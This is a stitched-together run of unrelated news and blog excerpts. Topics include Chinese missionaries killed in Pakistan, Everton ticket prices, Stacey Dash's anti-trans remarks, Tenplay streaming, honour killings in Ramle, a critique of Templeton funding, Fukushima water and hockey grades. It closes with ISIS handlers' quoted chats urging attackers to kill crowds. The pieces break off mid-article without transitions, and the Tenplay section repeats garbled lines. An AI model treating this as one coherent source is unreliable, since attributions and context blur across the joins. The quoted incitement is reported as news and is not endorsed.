The government has detained “at least four preachers from church groups in Zhejiang [province] as part of a targeted blitz against house churches connected to overseas missions, says Bob Fu, whose US-based China Aid group supports Christians in the country”, said the BBC report. “They have been released but are not allowed to continue their activities and are banned from giving media interviews, he says.”
According to the report, “China’s up to 100 million Christians have been subject to increased scrutiny and harassment since Xi Jinping became president in 2012, Mr Fu says”. But the incident in Pakistan has made matters worse for the community.
That’s because the Quetta story “draws attention to an unintended and often overlooked by-product of China’s aggressive drive to develop new trading routes and carve out influence across Asia, Africa and the Middle East”, said the report.
“Hundreds and possibly even thousands of the country’s growing cadre of Christian missionaries are along for the ride too — even if Beijing doesn’t want them there.”
There are thousands of Protestant churches in Zhejiang, both the official ones permitted by the atheist Chinese Communist Party and so-called “underground” or “home” churches, whose members often meet inside private homes.
“Neither of the pair who ended up in Quetta were originally from Zhejiang, but they did join ‘home churches’ in the province,” said BBC.
Mr Li’s mother, who only wanted to be mentioned as Mrs Liu, told reporters that her son had not met Ms Meng before he travelled to Pakistan in September last year. She thought he was going to Balochistan to teach Mandarin.
After the kidnapping of the Chinese pair, the military launched a three-day operation in an area south of Mastung.
“It is in Mastung that IS later said it had carried out the killings, and Mrs Liu questions why the Pakistani government launched an attack in the area instead of trying to negotiate their release.
“Why didn’t the Chinese government tell the Pakistani side to save our children? she asks.
“She says her phone is monitored, and authorities have been investigating the family.”
When Ms Meng and Mr Li were abducted, they were first reported to have been working at a language school run by a South Korean.
“Locals in Jinnah Town, a wealthy area of Quetta where the language centre was based, said the group, while distinctly visible, kept a low profile... One boy said he overheard them saying ‘we are all sinners’, and that they distributed leaflets, rings and bracelets. “Another said he saw three women who spoke some Urdu and Pashto, and were ‘doing something about Christianity’.”
In the provincial capital, Chinese individuals could occasionally be seen on the streets before the May kidnapping but since then they have vanished.
In Gwadar, the centrepiece of the China-Pakistan Economic Corridor, frequent attacks by insurgents have denied Chinese workers the freedom of unguarded movement on the streets, reporters there say. They remain in secure compounds and move under heavy security escort, according to the report.
Everton are handing their away fans a festive lift - by cutting prices for the Boxing Day match at Newcastle United.
The club's Christmas spirit is set to extend beyond December 25 with £11 taken off the price of an adult tickets for the trip to St James’ Park.
That means fans can pack their turkey butties and head to the North East for just £25 , while the prices of concession tickets have also been cut, with over-65s and students paying £10 and under-18s just £5.
In total, Everton have received an allocation of 3,200 tickets.
The club say that the reduction is aimed at rewarding its travelling fanbase for their unwavering and loyal backing, and supports their commitment to the Premier League Away Fan Initiative - which has been championed by the Everton Fans’ Forum and other groups.
Newcastle fans will benefit from a reciprocal offer when the Magpies visit Goodison Park on Wednesday March 3.
Tickets for the Newcastle United away fixture go on sale to 2015/16 Season Ticket holders with six or more away credits from the 2015/16 season on Tuesday 8 December at 8am.
Stacey Dash believes that she has a solution to the nationwide conversation about transgender restroom use: Trans people should pee outside.
On Wednesday, the Fox News personality and former Clueless star appeared on Entertainment Tonight to promote her forthcoming book, There Goes My Social Life: From Clueless to Conservative. In the interview with ET’s Nischelle Turner, Dash referred to allowing trans people to use the bathroom that corresponds with their gender identity as “tyranny by the minority.” She said, “Why do I have to suffer because you can't decide what you wanna be that day?”
Dash further claimed that she supports laws like House Bill 2 in North Carolina, the controversial llaw that effectively forces trans people across the state to use public facilities that do not correspond with their gender identity. She claims that equal access “[infringes] upon” her rights “too much.”
Instead of using the women’s bathroom and, thus, violating her rights, Dash advised people like Caitlyn Jenner to “go in the bushes.”
“I don't know what to tell you, but I'm not gonna put my child's life at risk because you want to change a law,” said Dash, who is a mother of two. “So that you can be comfortable with your beliefs — which means I have to change my beliefs and my rights? No.”
Despite Dash's claims, in more than 200 localities across the country that allow trans folks to use the bathroom that most closely corresponds with their gender identity, there’s never been a single case of a transgender person attacking someone else. There have also been no reports of a cisgender person pretending to be trans to enter the bathroom of the opposite sex.
At the heart of the 49-year-old actress’ opposition to transgender equality is her belief that being transgender is a “choice,” akin to getting a new haircut or having one’s ear pierced. “It’s your body!” Dash told Entertainment Tonight. “So, it’s your decision, right? We all make choices.”
Dash, who has previously come out against Black History Month and networks like BET, further stated her belief that respecting the gender identity of trans people undermines American values.
“What we’re doing is we’re chipping away at what it is to be a woman and to be feminine,” she said. “And what it is to be a man and be masculine. We’re chipping away at that. I wish we could go back to Mad Men days. I love those days. Men were men. And I love them.”
Dash blames the feminist movement for this phenomenon, which she feels is undermining basic gender norms by encouraging women to act like men — and vice versa.
“We are the most powerful creatures on the planet, women,” she said. “That’s why I hate when [critics] say I don’t get this, I don’t get that. I’m like, ‘Come on! We have the men. We raise the men. So, let’s start letting them be men.’ Stop trying to be men. Let’s be women. And let’s let men be men. Let’s empower them to be men, because I feel like they’re falling away.”
These opinions might feel like an extreme outlier in the movement for trans equality, but unfortunately, they are not.
Photo: Getty Images
The Commonwealth Games are widely considered to be a poor, slightly gangrenous cousin to the Summer Olympics. On the plus side, the lack of worthy adversaries means Australia gets to completely dominate the medal tally and humiliate its colonial brethren, including the poms. Hurrah!
As you've probably heard, Network TEN has the broadcasting rights to the XX Commonwealth Games in Australia with hosting duties undertaken by Mel McLaughlin, Ian Thorpe, Greg Rust, Nicole Livingstone, Melinda Gainsford-Taylor and a bunch of others.
In addition to its free-to-air coverage, TEN is also offering up to eight 24-hour live streams on mobile, web, Xbox One/Xbox 360, Windows 8 devices and Sony Bravia televisions. Users will also be given access to live replays, highlights packages, catch-up services, live data, statistics, a medal tally and athlete and event information.
This will all be delivered through the Tenplay app, which you can download for Android and iOS here and here, respectively. The app is free to download, although data rates obviously apply for devices streaming via 3G or 4G. A version of the app can also be accessed via the aforementioned hardware platforms.
Here are the Commonwealth Games features that Tenplay is offering on each platform: iOS/Android: Eight dedicated 24 hour live streams as well as full catch-up for all events, highlights packages and Ten News reports from the Games. We also have live results, event schedule and the medal tally
Eight dedicated 24 hour live streams as well as full catch-up for all events, highlights packages and Ten News reports from the Games. We also have live results, event schedule and the medal tally TENplay.com.au : Eight dedicated 24 hour live streams as well as full catch-up for all events, highlights packages and Ten News reports from the Games. We also have live results, event schedule and the medal tally
: Eight dedicated 24 hour live streams as well as full catch-up for all events, highlights packages and Ten News reports from the Games. We also have live results, event schedule and the medal tally TENplay Xbox One: Six dedicated 24 hour live streams as well as full catch-up for all events, highlights packages and Ten News reports from the Games
Six dedicated 24 hour live streams as well as full catch-up for all events, highlights packages and Ten News reports from the Games TENplay Xbox 360: Full catch-up for all events, highlights packages and Ten News reports from the Games
Full catch-up for all events, highlights packages and Ten News reports from the Games TENplay Windows 8 Phone app: Eight dedicated 24 hour live streams as well as full catch-up for all events, highlights packages and Ten News reports from the Games
Eight dedicated 24 hour live streams as well as full catch-up for all events, highlights packages and Ten News reports from the Games TENplay Windows 8 app: Eight dedicated 24 hour live streams as well as full catch-up for all events, highlights packages and Ten News reports from the Games
Eight dedicated 24 hour live streams as well as full catch-up for all events, highlights packages and Ten News reports from the Games Sony Bravia IPTV app: Full catch-up for all events, highlights packages and Ten News reports from the Games
The family I was dealing with had originally come from Be’er Sheva, the largest city next to the Negev. They now lived in a poor neighborhood of Ramle called Juarish, where there was a kind of desert lawlessness, which most of its residents were complacent about. The flying debris and open sewage were the first of many shocks that would unsettle an unprepared visitor. There were a few extravagantly decorated houses, which everyone knew were built on drug money.
In the absence of the traditional goat herding in the desert, the Bedouin youth in Juarish turned to the underworld and reportedly operated the drug-dealing belt in central Israel. They also revived the old custom of killing women who were seen to have defiled their family “honor.” They practiced both the drug dealing and the killing under the very nose of the Israeli police. I was told by the authorities—it was surprising for a police force to admit that they were d efeated by the Ramle drug lords—that even the ambulances sometimes did not dare enter Juarish. You could not order a taxi; the streets of Juarish were eerily deserted.
After multiple murders of women—on average three every year—in the name of family honor, Juarish rose to notoriety when the mother of the latest victim, a 17-yearold girl called Hamda (whose bullet-riddled body was found in her bed, and whose brother was seen leaving the house a few minutes later), spoke out to the police and the media against her family, which she said had been behind the killing of nine women in seven years. Following her testimony, word of many of the past murders surfaced and took Israel by storm.
When Hamoudi and I arrived to do our first day of shooting, the streets were, as usual, deserted. We chose a spot outside the mosque to park our car, as Hamoudi thought that would be the safest place in case there were problems from the men if they found out that we were here to speak to the women of the community.
In Juarish, I saw the otherwise marijuana-induced relaxed mood of Hamoudi change. He looked more serious and alert. He went inside the mosque where we were meeting the sheikh who had agreed to be interviewed on the murders to explain that Islam had nothing to do with the desert code of conduct in his neighborhood. But when I followed Hamoudi into the mosque, there were neither the sheikh nor any worshippers. People started milling around where we parked the car. I came back to the car and sat inside nervously. Hamoudi came out a few minutes later and suggested that we visit the mother of Hamda, since the Bedouin sheikh, who condemned the murders, was not there yet.
We left the car outside the mosque. He took his camera bag, but we thought walking with a tripod would not be a good idea, so we left it in the car. There were rows of mature flame trees along the road that led to Hamda’s house. They were all in bloom and the sky seemed to have been sprayed with scattered bright red paint. I thought of Hamda’s body drenched in blood, and it felt as if in death her soul had merged with the crimson blossoms.
Later on, Hamda’s grief-stricken mother, Yamama, would show us the wall next to Hamda’s bed, which she said had been splattered with her daughter’s blood. Hamda was shot nine times.
“My son did it. My son too died for me on that day when he shot his sister. How could my own son, whom I gave birth to and breast-fed for three years, commit such a vile act, kill his sister for talking on the telephone to a man?”
“Who was she talking to?” Hamoudi asked.
“She wasn’t talking to anyone,” Yamama said, contradicting her earlier statement. “It was a lie, her brothers made it up to kill her because she rejected her cousin who wanted to marry her. She was too young to marry. My beautiful daughter, my youngest child, they took her life just like that.”
The wall next to the bed where Hamda had spent her final night was pockmarked with bullet holes, which Yamama would not let anyone plaster over. It had been a year since the murder and she was still mourning. She spent most of her daylight hours sitting by Hamda’s grave.
Now I know that Templeton funds some pure science, but much of it is mixed with woo (often theologians are included in their project grants); and grant recipients, no matter how secular, are touted by the Foundation to burnish its image. So all too often, cash-strapped scientists line up for Templeton handouts, knowing that the funding rate is around 50% (I may be off here, so take that with a grain of salt), compared to, say, the National Science Foundation’s rate of around 20% in biology, and even that’s an overestimate, as it counts more generously-funded proposals by students and doesn’t count preliminary “regular” proposals, which are rejected more often than not.
Far more human progress would result from Templeton’s deep-sixing its religious and “spiritual” aims and funding just pure science. The theology adds nothing to human progress; it only enriches theologians and promotes their useless endeavors. Let us remember the organization’s mission statement (my footnotes):
The John Templeton Foundation serves as a philanthropic catalyst for discoveries relating to the Big Questions of human purpose and ultimate reality.* We support research on subjects ranging from complexity, evolution, and infinity to creativity, forgiveness, love, and free will. We encourage civil, informed dialogue among scientists, philosophers, and theologians and between such experts and the public at large, for the purposes of definitional clarity and new insights. Our vision is derived from the late Sir John Templeton’s optimism about the possibility of acquiring “new spiritual information” and from his commitment to rigorous scientific research and related scholarship.** The Foundation’s motto, “How little we know, how eager to learn,” exemplifies our support for open-minded inquiry and our hope for advancing human progress through breakthrough discoveries. _________ *Ultimate reality—as opposed to what? Proximate reality?
**What the bloody hell is “new spiritual information”?
At any rate, Templeton handed out the huge sum of $1.92 million to BioLogos in 2012 for a series of woo-and-science seminars. Here’s the project description (my emphasis):
This proposal builds upon those foundations as follows: First, we will sponsor a series of annual workshops for leaders of evangelical Christianity (scholars, scientists, pastors and para-church leaders) to dialogue about specific topics at the interface between science and Christianity. These will be patterned after the Theology of Celebration gatherings that we have hosted in 2009 and 2010 and will host in early 2012. Second, we will make significant improvements to the BioLogos website: 1) We will create a resource center with multimedia content to meet the unique needs of various groups such as pastors, teachers, parents, and students. 2) Through increased moderation of our blog comments, we will ensure that our website remains a place where people can gather to respectfully dialogue about topics of interest and relevance to science and evangelical Christianity. 3) We will better articulate our core beliefs and values to maximize our trustworthiness among Evangelicals.
What a pathetic waste of money, yet Templeton folks continue to tell me that I have repeatedly misunderstood the Foundation’s aims. I don’t think so. Seriously, nearly two million bucks to hold useless workshops and improve the BioLogos website—the site of an organization that, so far as I can tell, hasn’t come close to its goal of converting evangelical Christians to accepting evolution? Instead, BioLogos itself is moving toward evangelical Christianity, engaging in apologetics like trying to harmonize the Biblical Adam and Eve with science’s conclusion that they didn’t exist.
But I digress—and fulminate. What we have now are the fruits of that big grant, touted by Templeton as an “Evolution and Faith in Harmony at BioLogos Conference” in Grand Rapids, Michigan from June 30 to July 2 (see also the announcement at the BioLogos page). I don’t know how much money Templeton wasted on this conference, but you can see the results at the links.
The telling but unsurprising thing about this conference is that it was touted as addressing a contentious and unresolved question—whether there’s conflict between religion and biology—but then choosing (as far as I can tell) only speakers who said “No–NO CONFLICT!” In other words, the conference was an expensive exercise in confirmation bias. I sure wasn’t invited, no were any of the many folks who do see conflict between faith and evolution (creationism, of course, is the most obvious example of the conflict). The conference’s outcome was predetermined.
Here’s how Templeton poses the question:
Are the biological sciences and religion in perpetual conflict with one another? Not necessarily, some believe, although the question remains a challenging one.
“Some believe” (the others weren’t invited to the meeting. And the question apparently wasn’t too challenging for Templeton, for the conference’s outcome was a unanimous affirmation of comity between faith and science:
The conference was a powerful demonstration of the idea that science and faith can indeed enrich each other. Its appeal went far beyond the world of academic science and religion with the apparent diversity of attendees, including scientists, pastors, teachers, students, and laypeople—all eager to learn about the harmony between the two areas. Many of the talks and presentations from the conference are now available online.
Note: the conference was not a discussion but a “demonstration”. The results were rigged beforehand. I despise this sort of pre-loaded result, for it’s intellectually dishonest. I can’t find a single speaker or talk that even whispers at possible irreconcilable aspects of finding stuff out via science versus gaining “knowledge” from religion. More:
Other speakers considered issues from the doctrine of original sin to the extraordinarily uncommon nature of human beings. Breakout sessions, recordings of which are also online, extended discussions to matters from divine action and human origins to education and church life.
You can find the list of speakers here, and you can see videos of the plenary speakers here. Sadly, the only pure science talk, that of Mary Schweitzer, a paleontologist who’s found soft tissue remnants in dinosaur bones, is missing.
O! What a wonderful and mutually supportive display of harmony between rationality and superstition! (My emphasis below):
The organizers of the conference were delighted at the range of interests and backgrounds of attendees. Over a third were scholars and scientists; a significant portion were teachers; others were pastors. Disciplines represented included biblical studies and theology, paleontology and geology, biology and sociology. Many reported finding new ways of integrating their thinking about science and religion. One individual said, “Every speaker helped me to understand things better, to consider new ideas and prompt new questions.” “I am thrilled at what I heard and eager to learn more,” declared another. All in all, it was clear that people of faith can engage with contemporary science and discover that it informs and deepens their faith. There exists a profound hunger for more learning about evolution. The conference demonstrated this truth: evolutionary science and biblical faith can live together in productive harmony.
Yes, you heard it: the conference demonstrated a truth. But is it really a truth? For some people, yes, though those people are suffering from cerebral compartmentalization of incompatible ways of apprehending truth. But not a single “incompatibilist” showed up, and I don’t see any young-earth creationists, either. And even Mary Schweitzer, interviewed by BioLogos in 2014, professes a harmony between her work and her Christianity:
I think the thing that surprised me most about that class [a class on dinosaurs taught by Jack Horner] was that I had no idea, coming from a conservative Christian background, that scientists are not all trying to disprove God in whatever way they can. What we were not told growing up is that there’s a lot of very rigorous, hard science that allows us to interpret the lives of organisms we’ve never seen—and knowing this made me rethink a few things, because I know God and God is not a deceiver. If you step back a little bit and let God be God I don’t think there’s any contradiction at all between the Bible and what we see in nature. He is under no obligation to meet our expectations. He is bigger than that. . . . I don’t feel I don’t feel that I’m discrediting God with the work I’m doing, I think I am honoring him with the abilities he’s given me. One of the churches I go to is very conservative—But the pastor and I have discussed what I do, and we have agreed to disagree on some things. I think that’s the appropriate attitude to have—after all, God is the only one who knows for sure—he is the only one who was there. I go to church because I want to learn and be held accountable. I want to learn more and more about what the Bible teaches, and in a lot of progressive churches you don’t get that as much—you get politics, building projects, etc. Everyone has to figure out what they need and why they go to church. The hunger in me which is fed in the churches I go to has to do with the fact that they preach right out of the Bible, and I need that. I guess I don’t go to church to hear political views and hear about how they need money—I go to hear about God.
Is there any chance that Schweitzer even mentioned any disharmony between science and religion? I wouldn’t bet on it. So much for the “challenging question”! It seems to have been resolved quite easily—simply by stacking the conference with speakers on only the accommodationist side of the issue.
"We will bring an end to the problem by 2020," says Yuichi Okamura, who led the Tokyo Electric Power Co. team dealing with water at Fukushima from the early days to last summer.
The contaminated water, now exceeding 760,000 tons and still growing, has been a major challenge that has distracted workers from decommissioning the plant. It is stored in more than 1,000 industrial tanks, covering much of the vast plant grounds.
Okamura says TEPCO expects that by 2020, it will have collected and treated all contaminated water pooled around the reactors, and will need to continue processing only the water necessary to cool the reactors.
Japan building massive ice wall to seal in Fukushima reactor
TEPCO has managed to reduce the flow of contaminated water and hopes to get regulators' approval within a month to activate an underground "ice wall" that would block out more water. The final step, though, remains contentious: Getting permission to release the water into the sea, after it has been treated to remove most radioactive elements.
Okamura, now a general manager in TEPCO's on-site nuclear power division, pledged to keep the water securely stored until a decision is made. The volume, he said, is beyond imagination.
"Contaminated water floating around and posing a constant risk of leaks disturbs the steady progress toward decommissioning," he told The Associated Press in an interview this week.
The most daunting element of the decommissioning process is still years from even beginning. The government and TEPCO hope to start removing nuclear debris from the reactors in 2021, a task expected to take decades.
The March 11, 2011, earthquake and tsunami knocked out power to the plant's cooling systems, sending three of its reactors into meltdown.
The three damaged reactors still need to be cooled with water to keep their melted cores from overheating. The water picks up radiation and leaks out through cracks and other damage from the disaster. The water flows to the basements, where it mixes with groundwater, swelling the volume of contaminated water.
TEPCO has cut groundwater infiltration to 150 tons per day, nearly one-third of the amount two years ago, mainly by pumping out groundwater upstream and directing it to the ocean. The utility hopes the underground ice barrier will eliminate all groundwater inflow.
Japan struggles in cleanup of Fukushima meltdown
Radioactive water continues to leak into the ocean, but at a far lesser rate than it did early in the disaster. Ocean radiation levels are about a thousandth of what they were soon after the accident, according to Ken Buesseler, a radiochemist with Woods Hole Oceanographic Institution (WHOI) who has monitored the area. Because of concerns about the health of marine life, commercial fishing is still banned in waters just off the plant.
Worries about ocean health make disposing of even treated water a contentious subject. Treating contaminated water removes all radioactive isotopes except tritium, a radioactive form of hydrogen. Nuclear plants elsewhere release water containing allowable amounts of tritium, nuclear officials said.
The government is evaluating experimental technology to separate tritium, but experts at the International Atomic Energy Agency and Japan's Nuclear Regulation Authority say that is impossible.
Those experts have urged the government to gain public acceptance for a controlled release of the water into the ocean. Fishermen and other local residents have been opposed and could discourage the government from going ahead.
Okamura was tasked with setting up the first water treatment system and its upgraded editions. His tenure was plagued with accidental leaks and other problems, but the project reached a milestone last year when all the stored water had been filtered.
Akane: I will fight. In a world where the system rules justice.
Text: To the world stage
Akane: Gekijō-ban Psycho-Pass
[Warning: The story summary below contain spoilers for Psycho-Pass season 1. Highlight text to read transcript.]
Year 2112, newcomer Inspector Akane Tsunemori and Enforcers Shinya Kōgami run into a man, a man that was the former mastermind of past incidents. This man was the object of Kōgami's revenge for his partner. This man, Shogo Makishima, shook the very foundations of the system that supports peace and questioned the existence of justice. Before long, Kōgami executed his own justice on Makishima and secluded himself from the world..... Year 2116-The Japanese government's begins to export the "Sibyl System" unmanned drone robots to troubled countries, and the system spreads throughout the world. A state in the midst of a civil war, SEAUn (the South East Asia Union, pronounced "shian"), brings in the "Sibyl System" as an experiment. Under the new system, the coastal town of Shambala Float achieves temporary peace and safety. But then SEAUn sends terrorist to Japan. They slip through the "Sibyl System" and then attack from within. The shadow of a certain man falls on this incident. In charge of the police, Tsunemori travels to Shambala Float to investigate. The truth of justice on this new ground will become clear.
Writer Makoto Fukami (Chotto Kawaii Iron Maiden, Ōsama-tachi no Viking) had reported on his blog in July that he was writing the film's screenplay with Gen Urobuchi. Fukami had collaborated with Urobuchi on the first season of Psycho-Pass, but Tow Ubukata will handle series composition of the second.
Funimation Entertainment licensed the film, as well as the Psycho-Pass anime, the Psycho-Pass "new edit version," and Psycho-Pass 2, which premiered on Thursday.
First off, the dreaded SOCIAL STIGMA
"Did you like [insert Pixar/Dreamworks movie]? Pony has something for all ages just like that!"
"I watched Looney Tunes as a kid, and they have the same gags. It's a nostalgia thing!
"You may be thinking of that 80's cartoon. This isn't that 80's cartoon. We have nuclear explosions on our show."
Or just flash some badass fan art. I bet most of you have some kind of device with a screen at this point.
"This cartoon that you probably think is for little girls has taught me so much about life!"
"I have a crush on Fluttershy, do you have Fluttershy?" - (Crush on Twilight is fine)
Take your sunglasses off. Seriously don't wear those indoors.
Don't brush your ponies at a table, wait until you get to the car.
Don't force them to watch an episode on your smart phone. McDonalds employees are super busy, and they already miss my burger patty with the cheese square and bun 90% of the time during creation. Don't make that 100%.
Only gangsters wear a fedora to McDonalds. You don't want to be arrested do you? Save it for pony cons. Gangsters are welcome there.
MAIN STAGE: ACQUIRE PONIES
Pilots who follow the necessary steps can fly in aircraft weighing up to 6,000 lbs. gross takeoff weight, with up to six seats and carrying up to five passengers. They can fly day or night, VFR or IFR, at speeds up to 250 kts and at altitudes up to 18,000 feet msl.
“We did it together! Medical reforms are now the law, and that’s a big win for general aviation,” said AOPA President Mark Baker. “It has taken years of commitment and hard work to make these reforms a reality. AOPA and EAA started the current reform effort back in 2012 when we petitioned the FAA for a medical exemption but the terms of that petition were much more limited than what pilots will get under the new reform law. This is something our entire community can get excited about.”
We did it together! Medical reforms are now the law, and that’s a big win for general aviation.—AOPA President Mark Baker
Although the extension only keeps the FAA running through September 2017, the medical reforms are permanent, and the FAA now has one year to develop and enact rules that align with the reforms. Pilots will not be allowed to fly under the reforms until the FAA has completed its rulemaking or the one-year time limit has elapsed, whichever comes first. The FAA has not yet said when it will begin the rulemaking process or what form that process will take.
“The reforms are now law and that means we’re in the home stretch when it comes to getting more pilots flying without compelling them to repeatedly go through the expensive and burdensome medical certification process,” said Baker. “But there’s more work to do to ensure that the law is translated into regulations that make sense and work in the real world.”
At a Glance Medical reform highlights Aircraft specifications: Up to six seats, up to 6,000 pounds (no limitations on horsepower, number of engines, or gear type) Flight rules: Day and night VFR and IFR Passengers: Up to five passengers Aeromedical training: Pilots must take a free online course every two years Altitude restrictions: Up to 18,000 feet msl Airspeed limitations: 250 knots indicated airspeed Pilot limitations: Cannot operate for compensation or hire
Under the reforms, pilots who have held a valid medical certificate any time in the decade prior to July 15, 2016, may not need to take another FAA medical exam. The 10-year lookback period applies to both regular and special issuance medicals. Pilots whose most recent medical certificate was revoked, suspended, withdrawn, or denied will need to obtain a new medical certificate before they can operate under the reforms. Pilots who have never held an FAA medical certificate, including student pilots, will need to go through the process one time only.
After meeting the initial requirements to fly under the reforms, pilots will need to visit a state-licensed physician at least once every four years and take a free online course on aeromedical factors every two years. More details about these requirements and answers to the most common questions about the reforms are available on AOPA's FAQ page.
So let’s get to it —
GOALTENDERS
Cory Schneider – A+
Not surprisingly, this guy has been the team’s MVP so far this season, as he’s posted a .924 save percentage and 2.17 GAA. Pretty remarkable; especially playing with such a young group of defensemen in front of him.
Keith Kinkaid – B
His numbers aren’t anything special – .903 sv.% and 2.55 GAA with 2 wins in 5 starts. However, he’s played well enough to gain the confidence of John Hynes and the rest of the Devils’ coaching staff. They won’t hesitate to give him spot starts throughout the remainder of the season, regardless of who their opponent might me.
FORWARDS
Mike Cammalleri – A
Obviously don’t want to jinx this… but he’s somehow still healthy. A healthy Mike Cammalleri is huge for this season. He’s a leader on and off the ice, and has been producing a point per game (30 points in 30 games). He also happens to have the best +/- on the team, which is impressive in itself.
Adam Henrique – A
Despite getting hurt, he’s currently tied for second on the team with 23 points. He’s easily been playing the best hockey of his young career and seems to be enjoying an increased leadership role.
Lee Stempniak – A
Who would’ve thought that a guy brought in during training camp on a tryout basis would end up playing such a critical role on a rebuilding team? Stempniak also has 23 points so far this season, including a couple big + memorable game-winning plays (OT goal against the Rangers, OT assist on a pass to Palmieri against the Red Wings). It’s hard to believe that he’ll be able to keep this up, though.
Kyle Palmieri – A
Best offseason addition, by far. He knows how to compete – plain and simple. He also seems to be having a ton of fun out on the ice, especially when he’s gotten to play the point on the power play (something he didn’t get to do too much in Anaheim). Palmieri seems to have found a “home” in New Jersey [which is ironic, considering he’s from New Jersey originally].
Travis Zajac – B
The 2 biggest knocks on Zajac have always been 1) consistency and 2) the ability to stay healthy. Both of these have been evident so far this season, as evidenced by the fact that he’s currently on Injured Reserve. The Devils have struggled to win faceoffs without Zajac in the lineup, as he was their only center with a FO% greater than 50%.
Patrik Elias – B-
He joined the lineup much later than anticipated this season due to a lingering knee injury. Since returning, he’s managed to put up 5 points in 10 games, although he’s looked noticeably slower/older on the ice. This is not the same Patrik Elias that we’re accustomed to seeing in a Devils sweater.
Jacob Josefson – C+
Honestly, I love watching Josefson play. His skating ability + vision out on the ice is incredible. However, he has struggled to produce offensively. The Devils need to find a way to get more out of him because he’s clearly talented enough to thrive in a top-6 role.
Sergey Kalinin – C+
He’s done a pretty good job making the transition from the KHL to the NHL. He still needs to find “his game,” though — whether that be as a 2nd liner or a checking forward. If he can find a way to combine his size with his offensive skillset, he can actually be one of the big difference makers for the Devils down the stretch.
Bobby Farnham – C+
I had no idea who this guy was at the beginning of the season. I’m still not really sure what his story is entirely… All I know is that he knows how to compete. He’s willing to drop the gloves, annoy the crap out of opposing players and occasionally contribute offensively (including a goal in his first game for the Devils). I think he’s a great 4th liner / role player to have on this roster.
Tyler Kennedy – C
He was signed a bit into the season, so I had a hard time coming up with a fair rating for him here. He’s played 9 games at this point and has played in various spots in the lineup. He’s another good addition as a role player, but it’ll be interesting to see what kind of numbers he puts up as the season goes on.
Brian O’Neill – C-
The Devils acquired O’Neill right before the start of the season in a no-risk trade with the LA Kings. The reigning AHL MVP has shown a few signs of life offensively, but hasn’t been able to actually produce anything at the NHL level. He has 2 points (both assists) in 22 games this season.
Jordin Tootoo – C-
Tootoo leads the team with 55 penalty minutes. He also has the worst +/- on the team (-17). I’ve always been a pretty big Tootoo fan, but so far this season I haven’t been too impressed. He’s been playing a good amount on the second PP unit, yet has only put up 6 points in 30 games.
Stephen Gionta – D
Gionta hasn’t done anything this year. He’s missed on countless scoring opportunities, has a +/- rating of -7 and has been subpar in the faceoff circle. You always have to appreciate the effort Gionta gives the team on a nightly basis, but it’s gotten to the point where the effort doesn’t really mean too much if he’s not producing. I wouldn’t expect little Gio to be a top point-producer by any means, but he’s just not doing his job as a fourth line C.
Stefan Matteau – D
He’s only played in 13 games this season, so it’s really tough to give him an accurate grade on this report card. Judging by the amount of times he’s been a healthy scratch, though, you have to assume that he’s not doing too much in practice to warrant a consistent spot in the lineup.
Jiri Tlusty – F
He scored on opening night. Since then – he’s done absolutely nothing.
Tuomo Ruutu, Reid Boucher, Joseph Blandisi – N/A
These guys haven’t played enough this season, so I’m going to refrain from giving them a grade on this report card.
DEFENSEMEN
Andy Greene – A
Shut-down defenseman. Captain. Leader on + off the ice.
Adam Larsson – A-
6 points in 30 games. He’s really come along as a top-pairing D-man.
Damon Severson – B+
Severson hasn’t looked back after being a healthy scratch for a game early on in the season. He has 10 points in 29 games and has been rock-solid in the second D pair with John Moore.
John Moore – B
He’s played extremely well for the Devils. Sometimes, you don’t even notice he’s out there. I was expecting more offensively out of Moore, but it’s nice to see that he’s not pushing it / trying to do “too much” in his role playing alongside Damon Severson.
David Schlemko – B
Early on, I thought Schlemko was going to be the next “Bryce Salvador” – meaning he’d be the one guy on the team that I’d love to hate. I was wrong, though. He’s been very reliable defensively and has done a respectable job playing the point on the second power play unit as of late.
Jon Merrill – C
He hasn’t done anything great this season.
Eric Gelinas – D+
He hasn’t contributed much offensively at all this season. I think everyone was getting excited to see what Gelinas could do with his rocket of a slapshot on the PP this season.
He hasn’t gotten much of a chance to play on the power play, though, because of his inconsistent play. Whenever he finds himself in the lineup, he always plays the fewest minutes of any defenseman on that night. There’s a reason for that.
COACH
John Hynes – A+
Who would’ve thought the Devils would be in a playoff position in the middle of December? Obviously, there’s a lot of time left in the season, but it’s encouraging to see a team lacking talent still performing at a competitive level under a rookie coach.
On July 18th Riaz A., a 17-year-old asylum seeker from Afghanistan boarded a train and started attacking passengers with an axe before fleeing into the night. He attacked another woman before police shot him dead.
Riaz A. had arrived in Germany without his parents and, according to investigators, had done nothing which would suggest he was a potential terrorist.
Six days later Mohammed D., a 27-year-old asylum seeker from Syria, detonated a bomb in Ansbach, also in northern Bavaria, and killed himself while injuring over a dozen other people.
Bavarian authorities found evidence that both men had links to the terror group Isis.
Now the Süddeutsche Zeitung has published the contents of chats the two men had with Isis agents, although it does not mention where it received the information.
In Riaz A.'s conversation with his Isis contact the teenager tells the man that he wants to carry out the attack with a knife and an axe.
“Would it not be better to use a car, brother?” the Isis agent asks.
The teenager responds that he doesn't know how to drive. The Isis agent encourages him to learn.
“The damage would be considerably bigger,” he explains.
But Riaz A. says he “wants to enter paradise tonight.”
On the night of the attack the teenager is in contact with the Isis agent right up until the point of the attack. He encourages him to use an axe rather than a knife and assures him that Isis will take responsibility.
Just before he begins Riaz writes: “I'm starting now.”
The contact replies: “Now you will get into heaven.”
Six days later Mohammed D. had picked out Ansbach Open 2016, a music festival in the small Bavarian town, as his target. Again he was in contact with an Isis agent, the SZ reports.
“This place will be full of people,” Mohammed D. writes.
“Kill them all in a big area so that they all lie flat on the floor,” his contact responds.
But when the Syrian arrives at the festival he apparently hesitates due to security controls in place at the entrance.
“Search out a spot and run into the crowd. Break through the police and run for it,” the contact writes.
When Mohammed D. still hasn't acted, the contact tells him: “Forget the festival and find a restaurant. What is wrong with you? I'd do it if there were two people there. Trust in God and go to the restaurant.”
At the restaurant Mohammed D. fatally wounded himself when he detonated the device. A further 15 people were injured.
After the two attacks a special police commission was set up in Bavaria to investigate how Isis aim to carry out terror attacks in Germany, the SZ reports.
The investigators in this commission believe that the jihaidsts search out potential recruits on the internet and then help them pick out targets and incite them to murder.
Contact with the Ansbach and Würzburg attackers is believed to have taken place over a period of months.
Arrests which took place on Tuesday in northern Germany also indicate that Isis has used the refugee routes to smuggle terrorists into Germany.
Three men with fake Syrian passports were arrested at refugee homes in Lower Saxony and Schleswig-Holstein.
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Perea brushed aside concerns earlier this month from other city officials who feared he was too lenient in refusing to fire three officers involved in two separate police abuse cases — including a highly publicized case in which video shows police beating a man in Lower Downtown.
But his decisions in those cases started to unravel in the past seven days.
